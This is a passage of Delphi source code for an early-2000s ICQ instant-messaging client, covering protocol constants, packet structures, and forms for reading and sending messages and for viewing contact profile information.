              and redistribute it freely.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit Types;
interface

const
 STATE_ONLINE     =$10020000;
 STATE_AWAY       =$10020001;
 STATE_DND        =$10020013;
 STATE_INVISIBLE  =$10020100;
 STATE_OCCUPIED   =$10020011;
 STATE_FREEFORCHAT=$10020020;
 STATE_N_A        =$10020005;

 TYPE_MSG         =$01;
 TYPE_CHAT        =$02;
 TYPE_FILE        =$03;
 TYPE_URL         =$04;
 TYPE_AUTH_REQ    =$06;
 TYPE_AUTH_DEN    =$07;
 TYPE_AUTH_GIV    =$08;
 TYPE_ADDED       =$0C;
 TYPE_WEBPAGER    =$0D;
 TYPE_EXPRESS     =$0E;
 TYPE_CONTACT     =$13;
 TYPE_CONTACT_REG =$1A;

      online      = 0;
      freeforchat = 1;
      invisible   = 2;
      occupied    = 3;
      dnd         = 4;
      away        = 5;
      na          = 6;
      etc         = 7;
      offline     = 8;
      simply_icq  = 9;
      mes         = 10;
      empty       = 11;

 PACKET_DATA_SIZE = 4096;
type
   IParray = array[0..3] of byte;
   PByteArray = ^TByteArray;
   TByteArray = array[0..PACKET_DATA_SIZE-1] of byte;
   PCharArray = ^TCharArray;
   TCharArray = array[0..PACKET_DATA_SIZE-1] of char;
   PWORD = ^word;
   PLONG = ^longint;
   PBYTE = ^byte;

type PFLAP_HDR = ^FLAP_HDR;
     FLAP_HDR = packed record
       Sign : byte;
       ChID : byte;
       SEQ  : word;
       Len  : word;
     end;

type PSNAC_HDR = ^SNAC_HDR;
     SNAC_HDR = packed record
       FamilyID  : word;
       SubTypeID : word;
       Flags     : array[0..1] of byte;
       RequestID : longint;
     end;

type PFLAP_Item = ^FLAP_Item;
     FLAP_Item = packed record
       FLAP : FLAP_HDR;
       DATA : PByteArray;
       Next : PFLAP_Item;
     end;

type
   Pack = packed record
      cursor : word;
      length : word;
      case integer of
        0: (DATA:array[0..PACKET_DATA_SIZE-1] of byte);
        1: (FLAP : FLAP_HDR;
            FLAP_BODY:array[0..PACKET_DATA_SIZE-1] of byte);
        2: (Sign,ChID:byte;  SEQ,Len  : word);
        3: (fix:FLAP_HDR;
            SNAC:SNAC_HDR;
            SNAC_BODY:array[0..PACKET_DATA_SIZE-1] of byte);
    end;
   PPack = ^Pack;

implementation

end.


MessForm.pas

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author:       Alexander Vaga
EMail:        primary:   icq2000cc@hobi.ru
              secondary: alexander_vaga@hotmail.com
Web:          http://icq2000cc.hobi.ru
Creation:     May, 2002
Legal issues: Copyright (C) 2002 by Alexander Vaga
              Kyiv, Ukraine

              This software is provided 'as-is', without any express or
              implied warranty.  In no event will the author be held liable
              for any  damages arising from the use of this software.

              Permission is granted to anyone to use this software for any
              purpose, including commercial applications, and to alter it
              and redistribute it freely.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit MessFrom;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs,  StdCtrls,
  ComCtrls, ToolWin, AppEvnts, ExtCtrls,
  Types,Packet,Main,SendMess;

type
  TMessageFrom = class(TForm)
    MsgMemo: TMemo;
    ApplicationEvents1: TApplicationEvents;
    Panel1: TPanel;
    NextButton: TButton;
    ReplyButton: TButton;
    CancelButton: TButton;
    Panel2: TPanel;
    ToolBar1: TToolBar;
    UINi: TToolButton;
    NNEd: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    ICQEd: TEdit;
    DateEd: TEdit;
    procedure CancelButtonClick(Sender: TObject);
    procedure ApplicationEvents1Message(var Msg: tagMSG;
      var Handled: Boolean);
    procedure SendTimerTimer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormShow(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure NextButtonClick(Sender: TObject);
    procedure ReplyButtonClick(Sender: TObject);
    procedure MsgMemoEnter(Sender: TObject);
  private
    { Private declarations }
  public
    User : PListRecord;
    FromWhom : longint;
    Find : PMsgItem;
    { Public declarations }
  end;

implementation

{$R *.DFM}

procedure TMessageFrom.CancelButtonClick(Sender: TObject);
begin
     Close;
end;

procedure TMessageFrom.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
begin
     if Msg.message = msg_NextOFF then begin
       if (Msg.wParam = msg_NextOFF)and(Msg.lParam = User^.UIN) then begin
         Handled := true;
         NextButton.Enabled := false;
         NextButton.Caption := 'Next';
       end;
     end;
     if Msg.message = msg_NextON then begin
       if (Msg.lParam = User^.UIN) then begin
         Handled := true;
         NextButton.Enabled := true;
         NextButton.Caption := 'Next > ('+s(Msg.wParam)+')';
       end;
     end;
end;

procedure TMessageFrom.SendTimerTimer(Sender: TObject);
begin
     Close;
end;

procedure TMessageFrom.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     if Find<>nil then begin
       FreeMem(Find^.Text,Find^.Len);
       Dispose(Find);
     end;
     Destroy;
end;

procedure TMessageFrom.FormShow(Sender: TObject);
var  sTmp : string;
var  node : TTReeNode;
     i,CntMsg : integer;
     Count : PMsgItem;
begin
     NextButton.Enabled := false;
     if User^.EXTRA.ICON_INDEX = simply_icq then
       UINi.ImageIndex := offline else
       UINi.ImageIndex := User^.EXTRA.ICON_INDEX;

     // Get First Msg
     if User^.PMSG = nil then exit;
     Find := User^.PMSG;
     if User^.PMSG^.Next=nil then User^.PMSG := nil
     else User^.PMSG := User^.PMSG^.Next;

     // Count ALL other messages
     CntMsg:=0;
     Count:=User^.PMSG;
     while Count<>nil do begin
       inc(CntMsg);
       if Count^.Next<>nil then
         Count:=Count^.Next
       else Count:=nil;
     end;
     //
     if CntMsg>0then PostMessage(Handle,msg_NextON,CntMsg,User^.UIN)
     else begin
       User^.EXTRA.MES_IS := false; //Blink OFF
       for i:=0 to Form1.CL.Items.Count-1 do begin
         node:=Form1.CL.Items.Item[i];
         if PListRecord(node.Data)^.UIN=User^.UIN  then begin
             node.ImageIndex := PListRecord(node.Data)^.EXTRA.ICON_INDEX;
             node.SelectedIndex := node.ImageIndex;
             PostMessage(Handle,msg_NextOFF,msg_NextOFF,User^.UIN);
         end;
       end;
     end;

     // Get & Put Data
     setlength(sTmp,Find^.Len);
     move(Find^.Text^,sTmp[1],Find^.Len);
     MsgMemo.Clear;
     MsgMemo.Color := StringToColor(Find^.BG);
     MsgMemo.Font.Color := StringToColor(Find^.FG);
     MsgMemo.Text := sTmp;
     ICQed.Text := s(Find^.FromUIN);
     DateED.Text := Find^.DateTime;
     NNed.Text := User^.NICK;
end;

procedure TMessageFrom.FormCreate(Sender: TObject);
begin
     Find := nil;
end;

procedure TMessageFrom.NextButtonClick(Sender: TObject);
begin
     FormShow(self);
end;

procedure TMessageFrom.ReplyButtonClick(Sender: TObject);
var TSM : TMessageTo;
    i : integer;
    s : string;
begin
     Application.CreateForm(TMessageTo,TSM);
     TSM.ICQEd.Text :=ICQEd.Text;
     TSM.NNEd.Text := NNEd.Text;
     TSM.User := User;
     TSM.FromWhom := UIN; // it is MY UIN
     TSM.Caption := 'Send Message To '+NNEd.Text;

     s:='';
     for i:=0 to MsgMemo.Lines.Count-1 do
       s:=s+'[>] '+MsgMemo.Lines[i]+#13#10;
     TSM.SendMemo.Text :='on '+DateED.Text+', You wrote:'#13#10+s;
     TSM.SendMemo.Selstart := Length (TSM.SendMemo.Text);
     TSM.Show;
     Close;
end;

procedure TMessageFrom.MsgMemoEnter(Sender: TObject);
begin
     ReplyButton.SetFocus;
end;

end.


SendMess.pas

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author:       Alexander Vaga
EMail:        primary:   icq2000cc@hobi.ru
              secondary: alexander_vaga@hotmail.com
Web:          http://icq2000cc.hobi.ru
Creation:     May, 2002
Legal issues: Copyright (C) 2002 by Alexander Vaga
              Kyiv, Ukraine

              This software is provided 'as-is', without any express or
              implied warranty.  In no event will the author be held liable
              for any  damages arising from the use of this software.

              Permission is granted to anyone to use this software for any
              purpose, including commercial applications, and to alter it
              and redistribute it freely.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit SendMess;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs,  StdCtrls, Animate,
  ExtCtrls, AppEvnts, ComCtrls, Inifiles, ToolWin,
  Types,Packet,Main, RxCombos;

const PostSendInterval = 1000; //1 secs
type
  TMessageTo = class(TForm)
    SendMemo: TMemo;
    ApplicationEvents1: TApplicationEvents;
    SendTimer: TTimer;
    Panel2: TPanel;
    Panel1: TPanel;
    SendAnime: TAnimatedImage;
    SendButton: TButton;
    Label3: TLabel;
    Chars: TEdit;
    CancelButton: TButton;
    MesFmtBox: TCheckBox;
    BGCombo: TColorComboBox;
    Label4: TLabel;
    FGCombo: TColorComboBox;
    Label5: TLabel;
    Panel3: TPanel;
    NNEd: TEdit;
    Label1: TLabel;
    ICQEd: TEdit;
    Label2: TLabel;
    ToolBar1: TToolBar;
    UINi: TToolButton;
    procedure CancelButtonClick(Sender: TObject);
    procedure SendButtonClick(Sender: TObject);
    procedure ApplicationEvents1Message(var Msg: tagMSG;
      var Handled: Boolean);
    procedure SendTimerTimer(Sender: TObject);
    procedure SendMemoKeyUp(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormShow(Sender: TObject);
    procedure FGComboChange(Sender: TObject);
    procedure BGComboChange(Sender: TObject);
    procedure CalcChars;
  private
    { Private declarations }
    SEQ1, SEQ2 : word;
    CharCount : integer;
  public
    { Public declarations }
    User : PListRecord;
    FromWhom : longint;
  end;

implementation
{$R *.DFM}

const FG=0;BG=1;
function GetColor(Memo:TMemo;Mode:byte):longint;
begin
     Result:=0;
     case Mode of
     FG:Result:=ColorToRGB(Memo.Font.Color);
     BG:Result:=ColorToRGB(Memo.Color);
     end;
     GetColor:=DSWAP(Result);
end;

procedure TMessageTo.CancelButtonClick(Sender: TObject);
begin
     Close;
end;

procedure TMessageTo.SendButtonClick(Sender: TObject);
var sNN,sMess,sUIN : string;
    tmp : PPack;
    sTmp : string;
    d1,d2 : longint;
    buf : TByteArray;
    ind,indmem : word;
const capab : string{16}= #$09#$46#$13#$49#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00;
      blok : string{26} = #$1B#$00#$07#$00#$00#$00#$00#$00+
                          #$00#$00#$00#$00#$00#$00#$00#$00+
                          #$00#$00#$00#$00#$00#$00#$03#$00+
                          #$00#$00;
     x:word=0;
begin
     sNN := NNEd.Text;
     sUIN := ICQEd.Text;
     if SendMemo.Lines.Count = 0 then exit;
     sMess := SendMemo.Text;
//     if CharCount > 1024 then exit;

     tmp := CreatePacket(2,SEQ);
     SNACAppend(tmp,$4,$6);
     d1:=random($7FFFFFFF);
     d2:=random($7FFFFFFF);
     SEQ1:=dswap(d1);
     SEQ2:=dswap(d2);
     PacketAppend32(tmp,dswap(d1));
     PacketAppend32(tmp,dswap(d2));

     case MesFmtBox.Checked of
     true:
      begin // advanced message
        PacketAppend16(tmp,swap($0002));
        PacketAppendB_String(tmp,sUIN);
        ind:=0;fillchar(buf,sizeof(buf),'^');
        PLONG(@(buf[ind]))^:=dswap($0005FFFF);inc(ind,4);// TLV(5)+len
        PWORD(@(buf[ind]))^:=0;inc(ind,2);
        PLONG(@(buf[ind]))^:=dswap(d1);inc(ind,4);
        PLONG(@(buf[ind]))^:=dswap(d2);inc(ind,4);
        MOVE(capab[1],buf[ind],length(capab));inc(ind,length(capab));
        PLONG(@(buf[ind]))^:=dswap($000A0002);inc(ind,4);//TLV(A)=$0001
        PWORD(@(buf[ind]))^:=swap($0001);inc(ind,2);
        PLONG(@(buf[ind]))^:=dswap($000F0000);inc(ind,4);//TLV(F)empty

        PLONG(@(buf[ind]))^:=dswap($2711FFFF);inc(ind,4);// TLV(2711)+len
        indmem:=ind-2;
        MOVE(blok[1],buf[ind],length(blok));inc(ind,length(blok));
        PBYTE(@(buf[ind]))^:=0;inc(ind,1);
        PWORD(@(buf[ind]))^:=swap($FFFF);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($0E00);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($FFFF);inc(ind,2);
        PLONG(@(buf[ind]))^:=$0;inc(ind,4);
        PLONG(@(buf[ind]))^:=$0;inc(ind,4);
        PLONG(@(buf[ind]))^:=$0;inc(ind,4);//12 bytes=0
        PBYTE(@(buf[ind]))^:=1;inc(ind,1); // msg-type
        PBYTE(@(buf[ind]))^:=0;inc(ind,1); //sub_msg-type
        PWORD(@(buf[ind]))^:=swap($0000);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($0100);inc(ind,2);

        PWORD(@(buf[ind]))^:=length(sMess)+1;inc(ind,2);//LE len sMess+1
        move(sMess[1],buf[ind],length(sMess));inc(ind,length(sMess));
        PBYTE(@(buf[ind]))^:=0;inc(ind,1); //#00
        PLONG(@(buf[ind]))^:=dswap(GetColor(SendMemo,FG));inc(ind,4);//dswap($00FF0000);//FG
        PLONG(@(buf[ind]))^:=dswap(GetColor(SendMemo,BG));inc(ind,4);//dswap($08080800);//BG

        PWORD(@(buf[2]))^:=swap(ind-4);//len TLV(5)
        x:=length(blok)+27+length(sMess)+9;
        PWORD(@(buf[indmem]))^:=swap(x);//len TLV(2711)-!!!!!!!!!!!!
        PacketAppend(tmp,@buf,ind);
        // ack request ?
        PacketAppend32(tmp,dswap($00030000));// TLV(3)empry
      end;
     false:
      begin // simple message
        PacketAppend16(tmp,swap($0001));
        PacketAppendB_String(tmp,sUIN);
        PacketAppend16(tmp,swap(2));//tlv(2)
        PacketAppend16(tmp,swap(13+length(sMess)));//len tlv(2)
        PacketAppend32(tmp,dswap($05010001));
        PacketAppend16(tmp,swap($0101));
        PacketAppend8(tmp,$01);//7 bytes
        PacketAppend16(tmp,swap(4+length(sMess)));//lenmsg+4
        PacketAppend32(tmp,dswap($0)); //4 bytes=0
        PacketAppend(tmp,@(sMess[1]),length(sMess));
        PacketAppend16(tmp,swap($0006));//tlv(6)
        PacketAppend16(tmp,0);//len tlv(6)=0
      end;
     end;//case
     Form1.PacketSend(tmp);
     M(SendMemo,'Sending...');
     case MesFmtBox.Checked of
     true:  sTmp := '[A] ';
     false: sTmp := '[S] ';
     end;
     sTmp := '->'+sTmp+DateTimeToStr(Now)+' '+sNN+' ['+sUIN+']  "'+sMess+'"';
     M(Form1.Memo,sTmp);  Form1.LogMessage(sTmp);

     if MesFmtBox.Checked then begin
       SendAnime.Active := true;
       SendMemo.Enabled := false;
       SendButton.Enabled := false;
       MesFmtBox.Enabled := false;
     end else Close;
end;

procedure TMessageTo.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
begin
     if Msg.message = msg_OnSrv then begin
       if (Msg.wParam = SEQ1)and(Msg.lParam = SEQ2) then begin
         SendAnime.Active := false;
         M(SendMemo,'<Srv`s ACK>');
         Handled := true;
       end;
     end;
     if Msg.message = msg_Sent then begin
       if (Msg.wParam = SEQ1)and(Msg.lParam = SEQ2) then begin
         SendAnime.Active := false;
         SendTimer.Interval := PostSendInterval;
         SendTimer.Enabled := true;
         M(SendMemo,'Message sent... ');
         Handled := true;
       end;
     end;
     if Msg.message = msg_SentErr then begin
       if (Msg.wParam = SEQ1)and(Msg.lParam = SEQ2) then begin
         SendAnime.Active := false;
         M(SendMemo,'Server`s Error... try SIMPLY message-format');
         SendMemo.Enabled := true;
         SendButton.Enabled := true;
         MesFmtBox.Enabled := true;
         Handled := true;
       end;
     end;
end;

procedure TMessageTo.SendTimerTimer(Sender: TObject);
begin
     SendTimer.Enabled := false;
     Close;
end;

procedure TMessageTo.CalcChars;
begin
     CharCount := length(SendMemo.Text);
     case CharCount of
     0..1023: with Chars do begin Font.Color := clGreen;  Color := clMenu; end;
         else with Chars do begin Font.Color := clYellow; Color := clRed;  end;
     end;
     Chars.Text := inttostr(CharCount);
end;

procedure TMessageTo.SendMemoKeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
     CalcChars;
end;

procedure TMessageTo.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     User^.EXTRA.BG := ColorToString(SendMemo.Color);
     User^.EXTRA.FG := ColorToString(SendMemo.Font.Color);
     Destroy;
end;

procedure TMessageTo.FormShow(Sender: TObject);
var sNN : string;
begin
     SendMemo.Color:=StringToColor(User^.EXTRA.BG);
     BGCombo.ColorValue:=SendMemo.Color;
     SendMemo.Font.Color:=StringToColor(User^.EXTRA.FG);
     FGCombo.ColorValue:=SendMemo.Font.Color;
     if User^.EXTRA.ICON_INDEX = simply_icq then
       UINi.ImageIndex := offline else
       UINi.ImageIndex := User^.EXTRA.ICON_INDEX;
     if (ICQStatus = STATE_INVISIBLE)or
        (User^.EXTRA.ICON_INDEX = simply_icq)then begin
        MesFmtBox.Enabled := false;
        MesFmtBox.Checked := false;
     end else begin
        MesFmtBox.Enabled := true;
        MesFmtBox.Checked := true;
     end;
     sNN := NNed.Text;
     CalcChars;
end;

procedure TMessageTo.FGComboChange(Sender: TObject);
begin
     SendMemo.Font.Color:=FGCombo.ColorValue;
     SendMemo.SetFocus;
end;

procedure TMessageTo.BGComboChange(Sender: TObject);
begin
     SendMemo.Color:=BGCombo.ColorValue;
     SendMemo.SetFocus;
end;

end.


UInfo.pas

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author:       Alexander Vaga
EMail:        primary:   icq2000cc@hobi.ru
              secondary: alexander_vaga@hotmail.com
Web:          http://icq2000cc.hobi.ru
Creation:     May, 2002
Legal issues: Copyright (C) 2002 by Alexander Vaga
              Kyiv, Ukraine

              This software is provided 'as-is', without any express or
              implied warranty.  In no event will the author be held liable
              for any  damages arising from the use of this software.

              Permission is granted to anyone to use this software for any
              purpose, including commercial applications, and to alter it
              and redistribute it freely.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit UInfo;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, ComCtrls, Buttons,
  ExtCtrls, Animate,inifiles,
  typess,main,util,packet,
  AppEvnts;

type
  TUserInfo = class(TForm)
    UserInfoDoneBtn: TButton;
    UserInfoRetrieveBtn: TButton;
    InfoPage: TPageControl;
    MainTab: TTabSheet;
    HomeTab: TTabSheet;
    MoreTab: TTabSheet;
    WorkTab: TTabSheet;
    InfoAboutTab: TTabSheet;
    Panel1: TPanel;
    UIAnime: TAnimatedImage;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Label2: TLabel;
    Label6: TLabel;
    Label9: TLabel;
    uinEd: TEdit;
    ipEd: TEdit;
    realipEd: TEdit;
    verEd: TEdit;
    GroupBox2: TGroupBox;
    Label3: TLabel;
    Label4: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    firstEd: TEdit;
    lastEd: TEdit;
    displayEd: TEdit;
    nickEd: TEdit;
    GroupBox3: TGroupBox;
    Label5: TLabel;
    priEd: TEdit;
    Label10: TLabel;
    Label11: TLabel;
    secEd: TEdit;
    oldEd: TEdit;
    GroupBox4: TGroupBox;
    cityEd: TEdit;
    zipEd: TEdit;
    stateEd: TEdit;
    Label12: TLabel;
    Label13: TLabel;
    Label14: TLabel;
    Label15: TLabel;
    streetMemo: TMemo;
    Label16: TLabel;
    GroupBox5: TGroupBox;
    Label17: TLabel;
    Label18: TLabel;
    Label19: TLabel;
    phoneEd: TEdit;
    cellularEd: TEdit;
    faxEd: TEdit;
    GroupBox6: TGroupBox;
    Label20: TLabel;
    Label21: TLabel;
    Label22: TLabel;
    tzEd: TEdit;
    Edit20: TEdit;
    Edit21: TEdit;
    GroupBox7: TGroupBox;
    Label23: TLabel;
    Label24: TLabel;
    Label25: TLabel;
    homepageEd: TEdit;
    ageEd: TEdit;
    GroupBox8: TGroupBox;
    Label26: TLabel;
    Label27: TLabel;
    Label28: TLabel;
    GroupBox9: TGroupBox;
    GroupBox10: TGroupBox;
    Label29: TLabel;
    Label30: TLabel;
    Label31: TLabel;
    Label32: TLabel;
    Label33: TLabel;
    wcityEd: TEdit;
    wzipEd: TEdit;
    wstateEd: TEdit;
    wstreetMemo: TMemo;
    GroupBox11: TGroupBox;
    Label34: TLabel;
    Label36: TLabel;
    wphoneEd: TEdit;
    wfaxEd: TEdit;
    GroupBox12: TGroupBox;
    Label38: TLabel;
    Label39: TLabel;
    companyEd: TEdit;
    jobEd: TEdit;
    departmentEd: TEdit;
    Label35: TLabel;
    Label37: TLabel;
    whomepageEd: TEdit;
    Label40: TLabel;
    GroupBox13: TGroupBox;
    aboutMemo: TMemo;
    AuthLabel: TLabel;
    Label43: TLabel;
    GroupBox15: TGroupBox;
    interMemo: TMemo;
    countryCombo: TComboBox;
    wcountryCombo: TComboBox;
    genderCombo: TComboBox;
    monthCombo: TComboBox;
    lang1Combo: TComboBox;
    lang2Combo: TComboBox;
    lang3Combo: TComboBox;
    occupationCombo: TComboBox;
    dayCombo: TComboBox;
    yearCombo: TComboBox;
    ApplicationEvents1: TApplicationEvents;
    procedure Request_Meta_Info(UIN : longint);
    procedure Set_Meta_Info;
    procedure UserInfoDoneBtnClick(Sender: TObject);
    procedure UserInfoRetrieveBtnClick(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure SetCountry(Combo:TComboBox; Country:word);
    function GetCountry(Combo:TComboBox):word;
    procedure SetGender(Combo:TComboBox; Gender:byte);
    function GetGender(Combo:TComboBox):byte;
    procedure SetMonth(Combo:TComboBox; Month:byte);
    function GetMonth(Combo:TComboBox):byte;
    procedure SetLanguage(Combo:TComboBox; Lang:byte);
    function GetLanguage(Combo:TComboBox):byte;
    procedure SetOccupation(Combo:TComboBox; Occupation:word);
    function GetOccupation(Combo:TComboBox):word;
    procedure SetCombo(Combo:TComboBox; min,max,Value:word);
    function GetCombo(Combo:TComboBox; min,max:byte):word;
    procedure ApplicationEvents1Message(var Msg: tagMSG;
      var Handled: Boolean);
  private
    { Private declarations }
  public
    AutoRetrieve : boolean;
    UIRecord : TListRecord;
    Cookie : word;
  end;

implementation
{$R *.DFM}

procedure TUserInfo.UserInfoDoneBtnClick(Sender: TObject);
begin
     Close;
end;

procedure TUserInfo.Request_Meta_Info(UIN : longint);
var p,a : pPack;
begin
     a := PacketNew;
     PacketGoto(a,2);// a[0..1] = len
     PacketAppend32(a,main.UIN);
     PacketAppend16(a,swap($D007));
     Cookie := random($FF) shl 8;
     PacketAppend16(a,swap(Cookie));
     PacketAppend16(a,swap($B204));
     PacketAppend32(a,UIN);
     PacketBegin(a);
     PacketAppend16(a,a.length-2);

     P:=CreatePacket(2,SEQ);
     SNACAppend(p,$15,$2);
     TLVAppend(p,1,a.length,@a.data);
     PacketDelete(a);
     Form1.PacketSend(p);
     M(Form1.Memo,'>Request Full Info: '+s(UIN)+'   '+
                  'Cookie:$'+inttohex(Cookie,4));
     UIAnime.Active := true;
end;

procedure TUserInfo.UserInfoRetrieveBtnClick(Sender: TObject);
begin
     if (OL and isLogged)then
       Request_Meta_Info(UIRecord.UIN);
end;

procedure TUserInfo.FormShow(Sender: TObject);
begin
     InfoPage.ActivePageIndex :=0;
     with UIRecord do begin
       uinEd.Text := s(UIN);
       ipEd.Text := IPtoStr(IP);
       realipEd.Text := IPtoStr(REAL_IP);
       verEd.Text := s(VER);
       firstEd.Text := FIRST;
       lastEd.Text := LAST;
       nickEd.Text := NICK;
       displayEd.Text := NICK;
       priEd.Text := PRI_E_MAIL;
       secEd.Text := SEC_E_MAIL;
       oldEd.Text := OLD_E_MAIL;
       cityEd.Text := CITY;
       stateEd.Text := STATE;
       phoneEd.Text := PHONE;
       faxEd.Text := FAX;
       cellularEd.Text := CELLULAR;
       M(streetMemo,STREET);
       SetCountry(countryCombo,COUNTRY);
       SetGender(genderCombo,GENDER);
       ageEd.Text := s(AGE);
       homepageEd.Text := HOMEPAGE;
       SetCombo(yearCombo,1,99,BYEAR);
       SetMonth(monthCombo,BMONTH);
       SetCombo(dayCombo,1,31,BDAY);
       case AUTH of
         0: AuthLabel.Caption := 'Authorize';
         1: AuthLabel.Caption := 'Always';
         else AuthLabel.Caption := 'unknown';
       end;
       SetLanguage(lang1Combo,LANG1);
       SetLanguage(lang2Combo,LANG2);
       SetLanguage(lang3Combo,LANG3);
       M(aboutMemo,ABOUT);
       M(interMemo,INTERESTS);

       companyEd.Text :=COMPANY;
       departmentEd.Text := DEPARTMENT;
       jobEd.Text := JOB;
       SetOccupation(occupationCombo,Occupation);
       wcityEd.Text := WCITY;
       wstateEd.Text := WSTATE;
       wphoneEd.Text := WPHONE;
       wfaxEd.Text := WFAX;
       wstreetMemo.Clear;
       M(wstreetMemo,WSTREET);
       SetCountry(wcountryCombo,WCOUNTRY);
       whomepageEd.Text := WHOMEPAGE;
     end;
     if AutoRetrieve then begin
       if (OL and isLogged)then
         Request_Meta_Info(UIRecord.UIN);
     end;
end;

procedure TUserInfo.FormClose(Sender: TObject; var Action: TCloseAction);
var i : integer;
begin
     if not AutoRetrieve then begin
       for i:=0 to CLNum-1 do with ContactList[i] do begin
         if UIN = UIRecord.UIN then begin
           ContactList[i] := UIRecord;
           if NICK = '' then begin
             if FIRST <> '' then NICK := FIRST
             else if LAST <> '' then NICK := LAST
                  else NICK := s(UIN);
           end; // if
           Form1.WriteToContactList(ContactList[i]);
           break;
         end;
       end; //for
       for i:=0 to Form1.CL.Items.Count-1 do
         if Form1.CL.Items[i].Text <> PListRecord(Form1.CL.Items[i].Data)^.NICK then
           Form1.CL.Items[i].Text := PListRecord(Form1.CL.Items[i].Data)^.NICK;
     end;
     Destroy;
end;

procedure TUserInfo.Set_Meta_Info;
begin
     // это еще старый кусок из протокола icqv5 (UDP)
     // CMD_META_USER  + META_CMD_SET_INFO
(*
     p:=main.UDPCreateStdPacket(CMD_META_USER);
     PacketAppend16(p,META_CMD_SET_INFO);

     Cookie := main.UDPSeqNum2-1;
     MetaUIN := main.UIN;

     PacketAppendString(p,nickEd.Text);
     PacketAppendString(p,firstEd.Text);
     PacketAppendString(p,lastEd.Text);
     PacketAppendString(p,priEd.Text);
     PacketAppendString(p,secEd.Text);
     PacketAppendString(p,oldEd.Text);
     PacketAppendString(p,cityEd.Text);
     PacketAppendString(p,stateEd.Text);
     PacketAppendString(p,phoneEd.Text);
     PacketAppendString(p,faxEd.Text);
     PacketAppendString(p,streetMemo.Lines[0]);
     PacketAppendString(p,cellularEd.Text);
     try PacketAppend32(p,longint(strtoint(zipEd.Text)));
     except PacketAppend32(p,-1); end;
     PacketAppend16(p,GetCountry(countryCombo));
     PacketAppend8(p,0);  // 250 = +03:00 TimeZone
     PacketAppend8(p,0);  // ????
     main.SendUDPCmd(p,'META_USER+SET_INFO: ['+s(main.UIN)+'] ===>');

     // CMD_META_USER  + META_CMD_SET_WORK
     p:=main.UDPCreateStdPacket(CMD_META_USER);
     PacketAppend16(p,META_CMD_SET_WORK);
     PacketAppendString(p,wcityEd.Text);
     PacketAppendString(p,wstateEd.Text);
     PacketAppendString(p,wphoneEd.Text);
     PacketAppendString(p,wfaxEd.Text);
     PacketAppendString(p,wstreetMemo.Lines[0]);
     try PacketAppend32(p,longint(strtoint(wzipEd.Text)));
     except PacketAppend32(p,-1); end;
     PacketAppend16(p,GetCountry(wcountryCombo));
     PacketAppendString(p,companyEd.Text);
     PacketAppendString(p,departmentEd.Text);
     PacketAppendString(p,jobEd.Text);
     PacketAppend16(p,GetOccupation(occupationCombo));
     PacketAppendString(p,whomepageEd.Text);
     main.SendUDPCmd(p,'META_USER+SET_WORK: ['+s(main.UIN)+'] ===>');

     // CMD_META_USER  + META_CMD_SET_MORE
     p:=main.UDPCreateStdPacket(CMD_META_USER);
     PacketAppend16(p,META_CMD_SET_MORE);
     try PacketAppend16(p,word(strtoint(ageEd.Text)));
     except PacketAppend16(p,0); end;
     PacketAppend8(p,GetGender(genderCombo));
     PacketAppendString(p,homepageEd.Text);
     PacketAppend8(p,GetCombo(yearCombo,0,99));
     PacketAppend8(p,GetMonth(monthCombo));
     PacketAppend8(p,GetCombo(dayCombo,1,31));
     PacketAppend8(p,GetLanguage(lang1Combo));
     PacketAppend8(p,GetLanguage(lang2Combo));
     PacketAppend8(p,GetLanguage(lang3Combo));
     main.SendUDPCmd(p,'META_USER+SET_MORE: ['+s(main.UIN)+'] ===>');

     // CMD_META_USER  + META_CMD_SET_ABOUT
     p:=main.UDPCreateStdPacket(CMD_META_USER);
     PacketAppend16(p,META_CMD_SET_ABOUT);
     PacketAppendString(p,aboutMemo.lines[0]);
     main.SendUDPCmd(p,'META_USER+SET_ABOUT: ['+s(main.UIN)+'] ===>');

     // CMD_META_USER  + META_CMD_SET_SECURE
     p:=main.UDPCreateStdPacket(CMD_META_USER);
     PacketAppend16(p,META_CMD_SET_SECURE);
     PacketAppend8(p,1);  //  0-autor required; 1-all users
     PacketAppend8(p,0);  //  0-not allow web;  1-allow web aware
     PacketAppend8(p,0);  //  0-hide IP;    1-show IP
     main.SendUDPCmd(p,'META_USER+SET_SECURE: ['+s(main.UIN)+'] ===>');
/////
*)
     UIAnime.Active := true;
end;

procedure TUserInfo.SetCountry(Combo:TComboBox; Country:word);
var i : integer;
begin
      Combo.Clear;
      for i:=0 to 121 do begin
        Combo.Items.Add(Countries[i].Text);
        if Countries[i].Code = Country then Combo.Text := Countries[i].Text;
      end;
      if Combo.Text = '' then Combo.Text := Countries[121].Text;
end;

function TUserInfo.GetCountry(Combo:TComboBox):word;
var i : integer;
begin
     Result := $FFFF;
